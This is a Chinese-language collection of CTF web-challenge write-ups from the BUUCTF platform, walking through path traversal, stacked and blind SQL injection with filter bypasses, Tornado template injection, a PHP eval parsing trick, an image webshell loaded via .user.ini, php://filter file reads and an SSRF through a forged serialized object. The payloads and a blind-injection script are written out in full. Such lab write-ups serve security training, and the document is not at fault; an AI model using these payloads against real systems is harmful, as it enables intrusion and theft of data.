[HCTF 2018]WarmUp point 1

题目说代码审计。
打开题目是个滑稽图片,右键源码看有个注释

1
<!--source.php-->

尝试访问一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
http://69194294-fcc3-458e-b64f-d4cff7de6635.node3.buuoj.cn/source.php
看到源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
... 省略
tips:
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
mb_substr():返回字符串的一部分

代码很容易理解,用page参数读取url,通过file参数读取文件内容。可以看到有个 hint.php,读取试试,如下写法。

1
2
3
4
5
source.php?file=hint.php

?page=source.php&&file=hint.php
得到
flag not here, and flag in ffffllllaaaagggg

那么flag应该可能是在 ffffllllaaaagggg 文件中,但是如果这里写

1
file=ffffllllaaaagggg

根据源码看若不是 source.php,hint.php 则会出错。
那么这里,根据源码分析,用 ? 截取前面的部分,在用/使前面这个目录不存在,然后用 ../ 跳转到目录 ffffllllaaaagggg,写法如下。

1
2
3
source.php?file=hint.php?/../ffffllllaaaagggg

?page=source.php&&file=hint.php?/../ffffllllaaaagggg

因为不知道 ffffllllaaaagggg 在什么位置,多加几个 ../ 试。最后如下。

1
2
3
source.php?file=hint.php?/../../../../ffffllllaaaagggg

?page=source.php&&file=hint.php?/../../../../ffffllllaaaagggg

[强网杯 2019]随便注 point 1

页面给了对话框进行注入。那么来慢慢试。

1
1' or 1#

报错,根据错误可知单引号闭合。再来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
1' or '1# 
返回
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}

array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}

说明这样可以注入,那么换上 select 试试。

1
2
3
-1' union select 1,2,3#
返回
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

说明这些关键字被过滤了。那么试试报错注入。

1
2
1' and extractvalue(1,concat(1,version()))#  得到 .18-MariaDB
1' and extractvalue(1,concat(1,database()))# 得到数据库 supersqli

由于关键字被过滤的有点多。接下来没办法用联合查询了。那么可以试试看能不能堆叠注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1';use supersqli;show tables;#
得到
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}

下面就是想办法看看这几个table中有什么东西。但是关键字被过滤的又不能直接用。
因为能堆叠注入。那么,可以使用 concat 来拼接分散的 sql 语句,赋值给一个变量,然后动态执行。

1
1';set @Sql=concat('s','elect group_concat(column_name) from information_schema.columns wher','e table_name ="1919810931114514"');EXECUTE (@Sql);#

这样还是不行,没有绕过关键字过滤。那么可以使用mysql的另一个特性,预处理语句。

1
2
3
4
# 定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];

所以这里

1
1';set @Sql=concat('s','elect group_concat(column_name) from information_schema.columns wher','e table_name ="1919810931114514"');PREPARE stmt_name FROM @Sql;EXECUTE (@Sql);#

还是不行。说明这个写法有问题。那去掉 group_concat,information_schema,这样试试。

1
1';set @Sql=concat('s','elect column_name from columns w','here table_name ="1919810931114514"');PREPARE stmt_name FROM @Sql;EXECUTE stmt_name;#

没出错,但是根据返回来看,后面的堆叠语句没有执行成功。应该是没有指定使用的数据库。
在来一个语句。

1
2
3
use information_schema;

1';use information_schema;set @Sql=concat('s','elect column_name from columns w','here table_name ="1919810931114514"');PREPARE stmt_name FROM @Sql;EXECUTE stmt_name;#

成功了。看到有个返回 flag 字段的东西。这里换上面得到的数据库,再来试试查flag的数据。

1
1';use supersqli;set @Sql=concat('s','elect flag from 1919810931114514');PREPARE stmt_name FROM @Sql;EXECUTE stmt_name;#

没有执行成功。这应该是 flag ,1919810931114514 没有被认识到,要用反引号将字段名和表名括起来。所以应该是

1
1';use supersqli;set @Sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt_name FROM @Sql;EXECUTE stmt_name;#

这下对了。

1
2
3
4
5
6
7
8
9
10
11
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(42) "flag{aeb49f9c-869d-44c3-87b9-86d111cce55f}"
}

参考:
堆叠注入- https://www.cnblogs.com/backlion/p/9721687.html
动态执行sql - https://www.cnblogs.com/kerrycode/archive/2010/08/05/1792671.html

[护网杯 2018]easy_tornado point 1

这个题的提升和之前做的md5扩展攻击很像。所以得到的信息是

1
2
3
flag 在文件名 filename = fllllllllllllag
同时要满足这样的条件
md5(cookie_secret+md5(filename))

那么我们访问

1
/file?filename=/welcome.txt&filehash=ff478b8241d02a53ee6f80cfde319941

则拿到flag需要满足

1
2
filename = fllllllllllllag
filehash = md5(cookie_secret+md5('/fllllllllllllag'))

这里需要的是 cookie_secret 。cookie 去哪里找呢。扫一下目录,看到有个 error 页面。

1
/error?msg=Error

到这里可以明白 msg= xxx ,这个页面可以用来打印出 xxx。
那么应该是通过这个页面来获取 cookie。具体看参考资料。操作如下。

1
2
3
/error?msg={{handler.settings}}
拿到
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'a8c55505-4cd5-400f-93da-3afb64c22b6f'}

所以

1
2
3
4
5
filehash = md5('a8c55505-4cd5-400f-93da-3afb64c22b6f' + md5('/fllllllllllllag')) 
- md5('/fllllllllllllag') = 3bf9f6cf685a6dd8defadabfb41a03a1
- filehash = a8c55505-4cd5-400f-93da-3afb64c22b6f3bf9f6cf685a6dd8defadabfb41a03a1

flag{2280d3b4-4f61-4c3f-af37-0b96cb84f104}

参考:
SSTI: https://blog.csdn.net/zz_Caleb/article/details/96480967
tornado render模板注入:https://www.cnblogs.com/cimuhuashuimu/p/11544455.html

[SUCTF 2019]EasySQL point 1

又是一个注入。尝试之后,应该是有过滤,发现可以堆叠注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
query=1;show tables#
得到
Array
(
[0] => 1
)
Array
(
[0] => Flag
)

query=1;show databases;#
得到数据库有
Array
(
[0] => ctf
)
Array
(
[0] => ctftraining
)
Array
(
[0] => information_schema
)
Array
(
[0] => mysql
)
Array
(
[0] => performance_schema
)
Array
(
[0] => test
)

然后看看哪个库下有Flag这个表。

1
2
3
4
5
6
query=1;use ctf;show tables;# 
得到
Array
(
[0] => Flag
)

说明在 ctf 库下。后面尝试了一下,有一大堆过滤。。。搞不来了,去查人家的WP。
这题说是需要去对后端语句进行猜测。后端的情况实际上是

1
2
3
4
5
6
7
8
9
10
11
12
select".post[‘query’]."||flag from Flag
那么,解法1
输入的内容为*,1(2,3,4, 都可以)
解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1

Array
(
[0] => flag{bcfc4907-78a2-4610-b3e6-afd20a907f6f}
[1] => 1
...
}

参考:
https://www.cnblogs.com/chrysanthemum/p/11729891.html

[HCTF 2018]admin point 1

打开题目,右上角有Login选项。
点开尝试登陆。。

1
2
3
4
输入账号 admin
密码 123 尝试一下。
登陆成功。。。拿到flag
flag{4a4eb04b-a0aa-4b01-ba99-d27cdf3da286}

没想到这么简单。。我一般尝试登陆的时候,都是用admin 123。没想到这就对了,但这肯定不是题目意思。到处找一找,最后用 register 注册一个用户,
在change password 页面,查看源码看到有个 github 地址。

1
<!-- https://github.com/woadsl1234/hctf_flask/ -->

给出是源码,下载下来,看代码主要是 routes.py,然后源码中这个函数出问题。

1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

这个 nodeprep.prepare 函数对应库 https://github.com/twisted/twisted ,而源码中 requirements.txt中显示版本 Twisted==10.2.0 ,版本很低,这里存在Unicode编码的问题。
对于一些特殊字符,nodeprep.prepare可以进行转换,比如。

1
2
3
4
5
6
7
8
9
10
11
ᴬ -> A -> a
即第一次将其转换为大写,第二次将其转换为小写

那么,操作就是
注册用户ᴬdmin
登录用户ᴬdmin,变成Admin
修改Admin密码,这会更改了admin的密码,最后用改了 admin密码登陆,拿到flag。

Hello admin
flag{4a4eb04b-a0aa-4b01-ba99-d27cdf3da286}
Welcome to hctf

还有另外的解法,很佩服师傅们的操作。学习学习,见参考。

参考:
https://www.leavesongs.com/PENETRATION/client-session-security.html
https://darkwing.moe/2019/11/04/HCTF-2018-admin/
https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup/#admin

[RoarCTF 2019]Easy Calc point 1

题目是个计算器,右键可以看源码。可以看到有个 calc.php ,去访问看看。

1
/calc.php?

可以看到一段Php代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

这里的有个黑名单$blacklist ,过滤了他包含的字符。如果绕过,就能用下面的 eval 执行并显示内容了。
先来试试用 num 来列出目录

1
2
3
/calc.php?num=var_dump(scandir('/')) 
因为过滤了 / 所以
/calc.php?num=var_dump(scandir(chr(47)))

但是这样错误了。源码里面说了有waf。得想办法绕。那么怎么绕过,这涉及 PHP 字符串解析漏洞。

因为 num 只能接收数字。但如果前面加个空格,” num”就是一个不存在的变量。

1
2
那访问:/calc.php? num=var_dump(scandir(chr(47))) 
相当于访问:/calc.php?

因为num前面有个空格,但是php解析的时候,又会去掉这个空格,去掉之后,就有变成了有参数num=var_dump(scandir(chr(47))) 对应上面的php代码来看就是

1
$str=var_dump(scandir(chr(47)))

这就列出了目录,所以这里的关键就是 num 参数前的空格。在列出的目录中可以看到有个

1
"etc" [7]=> string(5) "f1agg"

再就读文件 /f1agg = chr(0x2f).chr(0x66).chr(0x31).chr(0x61).chr(0x67).chr(0x67)

1
2
3
file_get_contents(chr(0x2f).chr(0x66).chr(0x31).chr(0x61).chr(0x67).chr(0x67))
则 /calc.php? num= ...
flag{15d52862-901e-44b9-a55b-fc2af4f45965}

参考:
https://www.anquanke.com/post/id/181682

[强网杯 2019]高明的黑客 point 1

题目说有源码泄露,下载源码看看。有3000多个无规则的文件。
根据源代码来看,可能留有Shell。但是文件太多了,就只能用脚本来判断。

1
2
参考师傅们的:https://www.zhaoj.in/read-5873.html
写个脚本批量扫描一下 _GET 和 _POST,给他们传一些特定的代码(比如 echo(“glzjin”); /echo(“glzjin”) / echo glzjin,eval,assert,system 函数需要分别处理,一个文件需要用几种姿势多测几次)看看能执行不,能执行返回这种特定的字符串就说明此处可用。

最后,脚本(参考链接中师傅写的)跑出来的是

1
2
xk0SzyKwfzw.php  
GET: Efa5BVG

访问 /xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

1
flag{57f410f1-a064-413b-9e87-08fb38a79a6a}

参考:
https://blog.csdn.net/qq_42967398/article/details/103527666
https://www.zhaoj.in/read-5873.html

[SUCTF 2019]CheckIn point 1

题目打开看到是上传文件。估计有过滤。
先正常上传一个jpg看看,回显:

1
2
3
Your dir uploads/76d9f00467e5ee6abc3ca60892ef304e
Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "1234.jpg" [3]=> string(9) "index.php" }

注意这有给出了上传文件所在的文件夹,还有个index.php。通过尝试上传,发现有对文件头的检测。所以上传的文件要整个正常的文件头。

1
2
GIF89a
xxxxxShellxxxx

然后需要一个图片的马,传上去。直接访问是访问不了的。

1
<script language="php">system('cat /flag')</script>

但是怎么访问到这个图片呢。这里就是题目的考点: .user.ini 文件。参考文章中p神写的非常清楚。这里只是针对这个题简单概括,其中的需要设置什么的操作都省略:

.user.ini 文件中可以用 auto_prepend_file (或者 auto_append_file) 参数指定一个文件,可以是 .php .jpg 等,那也可以是一个webshell了。
然后,当与 .unser.ini 同文件夹下有其他可以访问的正常 php文件的时候,那么 .user.ini 中包含的文件(比如一个webshell)就能被同文件夹下其他正常的 php 文件包含。
在访问这些php,就能加载执行 .user.ini 指定的文件。

对于这个题,前面已经上传了一个图片马,假设它的文件名是 qwe.gif,那这里的 .user.ini:

1
2
GIF89a
auto_prepend_file=qwe.gif

然后传上去,从回显可以看到上传的东西。然后访问

1
2
3
/uploads/76d9f00467e5ee6abc3ca60892ef304e/index.php
回显flag
GIF89a flag{584e5679-46e5-48dc-b20a-17a6fb6e5272}

参考:
WP:https://xz.aliyun.com/t/6091
.user.ini

[极客大挑战 2019]EasySQL point 1

题目是登录框,尝试一会可以发现在密码框的时候,输入

1
2
3
4
check.php?username=admin&password=123'#

错误回显
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''123''' at line 1

这里可以先试试”万能密码”

1
2
3
4
'or '1'='1
username=admin'or'1'='1&password=admin'or'1'='1#
这样就是永真的,所以
flag{e9215352-f414-46aa-b38b-01ca96d89626}

[CISCN2019 华北赛区 Day2 Web1]Hack World point 1

一个输入框,多次尝试,可以得到空格,/**/,or,union 可能都是被过滤了。

  • 输入 1’ ,回显了 Bool(false)
  • 输入 1/1 ,回显了正常
    题目说了flag在 table=flag colum=flag 中,在继续试试。可以得到()可以用
    括号能用就非常关键,可以代替空格。
    那就
    1
    (ascii(substr((select(flag)from(flag)),0,1))>128) ,比较后返回bool值,根据回显来判断。

沿用之中在 jarvisOj中Simple injection的脚本,改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
url="http://993d2e1c-722f-4ba9-a8c3-40057f11fd46.node3.buuoj.cn/index.php"

urls="(ascii(substr((select(flag)from(flag)),{0},1))>{1})"
result=""
payload={
"id" : urls
}
for i in range(1,100):
l=1
r=130
mid=(l+r)>>1
while(l<r):
payload["id"]=urls.format(i,mid)
print(payload);
a=requests.post(url,data=payload)
if "Hello" in a.text:
l=mid+1
else:
r=mid
mid=(l+r)>>1
if(mid==1):
break
result+=chr(mid)
print(result)
print("Result:",result)

Result: flag{0644451e-cfeb-4cb7-967d-81b801257f14}

[极客大挑战 2019]Havefun point 1

题目打开,右键源码可以看到。

1
2
3
4
5
6
7
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

GET获取名为cat参数,传值为 dog,得到flag。

1
flag{0a552cd1-e5c0-4397-a5b3-a43d8b98ac10}

[极客大挑战 2019]Secret File point 1

扫一下题目,可以看到有个3个php,其中 action.php 一闪而过。
抓包发送看看,得到

1
2
3
4
5
<html>
<!--
secr3t.php
-->
</html>

访问这个secr3t.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

继续访问

1
secr3t.php?file=flag.php

啥都没有,那直接使用PHP伪协议读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/secr3t.php?file=php://filter//read=convert.base64-encode/resource=flag.php

解密得
<!DOCTYPE html>

<html>

<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>

<body style="background-color:black;"><br><br><br><br><br><br>

<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>

<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{cb9a8641-1965-457a-a424-4195e677dd2a}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>

</html>

参考:
文件包含漏洞与php伪协议

[网鼎杯 2018]Fakebook point 1

题目给了注册,登陆的选项。先注册个试试。注意blog哪里要是网址。
然后登陆,没发现特别的地方。
那就用Burpsuite扫一下吧,有个 user.php.bak ,可以看到里面有代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
部分如下:
function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch); // curl_exec — 执行一个cURL会话
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

这里就是注册的时候,对blog参数的处理,这里ch就是Url,没有做任何限制,就存在SSRF漏洞。
还看到有个 view.php?no=1 的页面。给no随便给个值,比如说0
重新来访问了一下

1
/view.php?no=0

发现这里有报错。

1
2
3
4
5
6
7
8
9
username 	age 	blog

Notice: Trying to get property of non-object in /var/www/html/view.php on line 53

Notice: Trying to get property of non-object in /var/www/html/view.php on line 56

the contents of his/her blog

Fatal error: Call to a member function getBlogContents() on boolean in /var/www/html/view.php on line 67

试试 no 这里能不能注入。多次尝试得到下面。

1
2
3
4
5
6
7
8
9
10
11
版本 ~10.2.26-MariaDB-log
/view.php?no=1 and (updatexml('~',concat('~',(select @@version)),'~'));#

库 fakebook
/view.php?no=1 and (updatexml('~',concat('~',(select database())),'~'));#

表 users
(updatexml('~',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),'~'));#

列 no,username,passwd,data,USER,CU
(updatexml('~',concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users')),'~'));#

1
view.php?no=1 and (updatexml('~',concat('~',(select data from users limit 1,1)),'~'));#

data 字段的内容 。注意

  • Limit 1,1** 是因为我这里注册了多个用户,不用limit的话,数据太多回显不出来。如果只注册了一个用户,可以不用。
  • data 字段是在表第4个位置,后面注入的时候需要知道。
    得到数据是:O:8:”UserInfo”:3:{s:4:”name”;s:
    很明显这是序列化后的数据,但是这数据还没完,我们用substr截断数据来慢慢看。
    1
    2
    3
    4
    5
    6
    (updatexml('~',concat('~',substr((select data from users),10,70)),'~'));#
    (updatexml('~',concat('~',substr((select data from users),20,70)),'~'));#
    ...

    最后得到data字段完整的数据:
    O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:9:"baidu.com";}

好,我们反序列化一下看看。

1
2
3
$x = 'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:9:"baidu.com";}';
$xx = unserialize($x);
print_r($xx);

得到

1
2
3
4
5
6
7
__PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => UserInfo
[name] => admin
[age] => 123
[blog] => baidu.com
)

结合前面 view.php 页面会加载用户的信息,那这里就是利用序化数后的data,反序列化后取出并加载,因有blog字段加载是url 那这里利用的思路就是把利用php伪协议,写上要读的文件,用file写本地路径,flag文件就在前面报错的 /var/www/html/ 目录下 。

1
2
3
4
5
6
7
8
那就应该是如下结构:
__PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => UserInfo
[name] => admin
[age] => 123
[blog] => file:///var/www/html/flag.php
)

序列化的话,就照着上面我们读到的data字段,改一下 baidu.com ,然后改下长度

1
2
s:9:"baidu.com" = s:29:"file:///var/www/html/flag.php" 记得长度哦。
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

接下来就是去no 这里试试看。

1
view.php?no=-1 union select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}';#

哦豁,不行。为啥呢?可能select被过滤了。那试试绕过

1
2
3
view.php?no=-1 unION  %53ElecT   1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"tyytt";s:3:"age";i:1443;s:4:"blog";s:29:"file:///var/www/html/flag.php";}';#

/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}';#

绕过方式很多,参考文章中都可以试试,我只试了上面的。最后出来的页面,右键源码查看一下

1
2
3
4
5
6
7
8
9
10
    <hr>
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjNGQ1ODM2MS1hNTA4LTRjMmEtYjBmYi0wNzMzYmFmOTM1NmF9IjsNCmV4aXQoMCk7DQo='>
</div>

访问一下 src 这个链接,他是指向 flag 文件

<?php

$flag = "flag{8f317784-c769-409e-83fb-6cfc3a33f0c3}";
exit(0);

参考:
绕过:https://www.freebuf.com/articles/web/163783.html
伪协议